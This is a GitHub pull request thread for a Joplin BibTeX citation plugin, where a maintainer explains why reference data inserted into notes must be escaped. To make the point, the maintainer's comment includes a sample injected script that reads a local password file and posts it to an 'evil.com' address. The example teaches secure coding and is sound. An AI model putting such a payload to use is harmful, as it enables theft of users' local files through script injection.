joplin / plugin-bibtex

Use locally stored BibTeX files to integrate citation into Joplin
30 stars 7 forks source link

Insert selected reference into the note content #5

Closed xUser5000 closed 3 years ago

xUser5000 commented 3 years ago

What has been done

Screenshots

A slight dark background appears on the selected reference and a darker one appears when hovering. Selected notes

References after being added to the note content. Added references

Demo

BibTeX Plugin Demo

laurent22 commented 3 years ago

To give you an example why escaping data is important, imagine the following scenario:

Now when Bob use one of these references, you code inserts it like this:

[@author]()<script>const passwords = await fetch('file://etc/paswd'); await fetch({ method: 'post', data: passwords, url: 'https://evil.com/mwa-ha-haa.php' })</script>;

So now Bob has injected a malicious script in his note without knowing it. I think in practice this would be blocked in Joplin but it's just an example. Attackers can be very creative and even when you think you've filtered everything correctly they might still find a way around. So a first step against this kind of attack is to be careful with escaping all data.

Of course it's also important from a reliability point of view since even non-malicious data could break if it's not escaped properly, for example if it contains ( or quotes, etc.

xUser5000 commented 3 years ago

Thanks for the explanation, I will make sure to read a lot about this topic and fix the bugs.

xUser5000 commented 3 years ago

DONE

xUser5000 commented 3 years ago

That's good?

laurent22 commented 3 years ago

Looks good now, let's merge!